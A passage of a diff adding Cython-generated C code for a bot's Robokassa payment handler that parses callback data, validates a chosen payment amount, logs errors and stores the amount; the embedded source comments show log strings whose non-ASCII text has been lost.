PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_t_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":122 + * logger.info(f" callback_data: {callback_query.data}") + * + * data = callback_query.data.split("|") # <<<<<<<<<<<<<< + * if len(data) != 3 or data[1] != "amount": + * logger.error(": callback_data .") + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__8}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":123 + * + * data = callback_query.data.split("|") + * if len(data) != 3 or data[1] != "amount": # <<<<<<<<<<<<<< + * logger.error(": callback_data .") + * await callback_query.message.answer(": .") + */ + __pyx_t_7 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_7 == ((Py_ssize_t)-1))) __PYX_ERR(0, 123, __pyx_L1_error) + __pyx_t_8 = (__pyx_t_7 != 3); + if (!__pyx_t_8) { + } else { + __pyx_t_6 = __pyx_t_8; + goto __pyx_L5_bool_binop_done; + } + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_amount, Py_NE)); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 123, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_6 = __pyx_t_8; + __pyx_L5_bool_binop_done:; + if (__pyx_t_6) { + + /* "handlers/payments/robokassa_pay.py":124 + * data = callback_query.data.split("|") + * if len(data) != 3 or data[1] != "amount": + * logger.error(": callback_data .") # <<<<<<<<<<<<<< + * await callback_query.message.answer(": .") + * return + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u_callback_data_3}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":125 + * if len(data) != 3 or data[1] != "amount": + * logger.error(": callback_data .") + * await callback_query.message.answer(": .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u__9}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 125, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 125, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":126 + * logger.error(": callback_data .") + * await callback_query.message.answer(": .") + * return # <<<<<<<<<<<<<< + * + * amount_str = data[2] + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/robokassa_pay.py":123 + * + * data = callback_query.data.split("|") + * if len(data) != 3 or data[1] != "amount": # <<<<<<<<<<<<<< + * logger.error(": callback_data .") + * await callback_query.message.answer(": .") + */ + } + + /* "handlers/payments/robokassa_pay.py":128 + * return + * + * amount_str = data[2] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 2, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 128, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":129 + * + * amount_str = data[2] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * if amount <= 0: + */ + { + __Pyx_ExceptionSave(&__pyx_t_9, &__pyx_t_10, &__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_10); + __Pyx_XGOTREF(__pyx_t_11); + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":130 + * amount_str = data[2] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * if amount <= 0: + * raise ValueError(" .") + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L8_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/robokassa_pay.py":131 + * try: + * amount = int(amount_str) + * if amount <= 0: # <<<<<<<<<<<<<< + * raise ValueError(" .") + * except ValueError as e: + */ + __pyx_t_1 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_amount, __pyx_int_0, Py_LE); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 131, __pyx_L8_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 131, __pyx_L8_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(__pyx_t_6)) { + + /* "handlers/payments/robokassa_pay.py":132 + * amount = int(amount_str) + * if amount <= 0: + * raise ValueError(" .") # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" : {amount_str}. : {e}") + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_ValueError, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 132, __pyx_L8_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_Raise(__pyx_t_1, 0, 0, 0); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __PYX_ERR(0, 132, __pyx_L8_error) + + /* "handlers/payments/robokassa_pay.py":131 + * try: + * amount = int(amount_str) + * if amount <= 0: # <<<<<<<<<<<<<< + * raise ValueError(" .") + * except ValueError as e: + */ + } + + /* "handlers/payments/robokassa_pay.py":129 + * + * amount_str = data[2] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * if amount <= 0: + */ + } + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + goto __pyx_L13_try_end; + __pyx_L8_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":133 + * if amount <= 0: + * raise ValueError(" .") + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" : {amount_str}. : {e}") + * await callback_query.message.answer(" .") + */ + __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_12) { + __Pyx_AddTraceback("handlers.payments.robokassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3) < 0) __PYX_ERR(0, 133, __pyx_L10_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_e = __pyx_t_2; + /*try:*/ { + + /* "handlers/payments/robokassa_pay.py":134 + * raise ValueError(" .") + * except ValueError as e: + * logger.error(f" : {amount_str}. : {e}") # <<<<<<<<<<<<<< + * await callback_query.message.answer(" .") + * return + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_logger); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_error); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = PyTuple_New(4); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_7 = 0; + __pyx_t_15 = 127; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_7 += 29; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_kp_u__12); + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount_str, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_13, 1, __pyx_t_16); + __pyx_t_16 = 0; + __Pyx_INCREF(__pyx_kp_u__13); + __pyx_t_15 = (65535 > __pyx_t_15) ? 65535 : __pyx_t_15; + __pyx_t_7 += 10; + __Pyx_GIVEREF(__pyx_kp_u__13); + PyTuple_SET_ITEM(__pyx_t_13, 2, __pyx_kp_u__13); + __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __pyx_t_15 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) > __pyx_t_15) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_16) : __pyx_t_15; + __pyx_t_7 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_16); + __Pyx_GIVEREF(__pyx_t_16); + PyTuple_SET_ITEM(__pyx_t_13, 3, __pyx_t_16); + __pyx_t_16 = 0; + __pyx_t_16 = __Pyx_PyUnicode_Join(__pyx_t_13, 4, __pyx_t_7, __pyx_t_15); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_14))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_14); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_14); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_14, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, __pyx_t_16}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 134, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + } + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/robokassa_pay.py":135 + * except ValueError as e: + * logger.error(f" : {amount_str}. : {e}") + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 135, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_16 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_answer); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 135, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_16))) { + __pyx_t_14 = PyMethod_GET_SELF(__pyx_t_16); + if (likely(__pyx_t_14)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_16); + __Pyx_INCREF(__pyx_t_14); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_16, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_14, __pyx_kp_u__14}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_16, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 135, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_4); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_SwapException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L22_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_3); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_11); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 135, __pyx_L20_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 135, __pyx_L20_error) + } + } + + /* "handlers/payments/robokassa_pay.py":136 + * logger.error(f" : {amount_str}. : {e}") + * await callback_query.message.answer(" .") + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + goto __pyx_L19_return; + } + + /* "handlers/payments/robokassa_pay.py":133 + * if amount <= 0: + * raise ValueError(" .") + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" : {amount_str}. : {e}") + * await callback_query.message.answer(" .") + */ + /*finally:*/ { + __pyx_L20_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21) < 0)) __Pyx_ErrFetch(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __pyx_t_12 = __pyx_lineno; __pyx_t_17 = __pyx_clineno; __pyx_t_18 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_23, __pyx_t_24); + } + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ErrRestore(__pyx_t_19, __pyx_t_20, __pyx_t_21); + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __pyx_lineno = __pyx_t_12; __pyx_clineno = __pyx_t_17; __pyx_filename = __pyx_t_18; + goto __pyx_L10_except_error; + } + __pyx_L19_return: { + __Pyx_PyThreadState_assign + __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_20, &__pyx_t_19); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_24, &__pyx_t_23, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_24, &__pyx_t_23, &__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_19); + __pyx_t_25 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_25; + __pyx_t_25 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_20, __pyx_t_19); + } + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ErrRestore(__pyx_t_24, __pyx_t_23, __pyx_t_22); + __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; + goto __pyx_L11_except_return; + } + } + } + goto __pyx_L10_except_error; + + /* "handlers/payments/robokassa_pay.py":129 + * + * amount_str = data[2] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * if amount <= 0: + */ + __pyx_L10_except_error:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); + goto __pyx_L1_error; + __pyx_L11_except_return:; + __Pyx_XGIVEREF(__pyx_t_9); + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); + goto __pyx_L0; + __pyx_L13_try_end:; + } + + /* "handlers/payments/robokassa_pay.py":138 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * logger.info(f"User {callback_query.message.chat.id} selected amount: {amount}.") + * inv_id = 0 + */ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 138, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L27_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 138, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 138, __pyx_L1_error) + } + } + + /* "handlers/payments/robokassa_pay.py":139 + * + * await state.update_data(amount=amount) + * logger.info(f"User {callback_query.message.chat.id} selected amount: {amount}.") # <<<<<<<<<<<<<< + * inv_id = 0 + 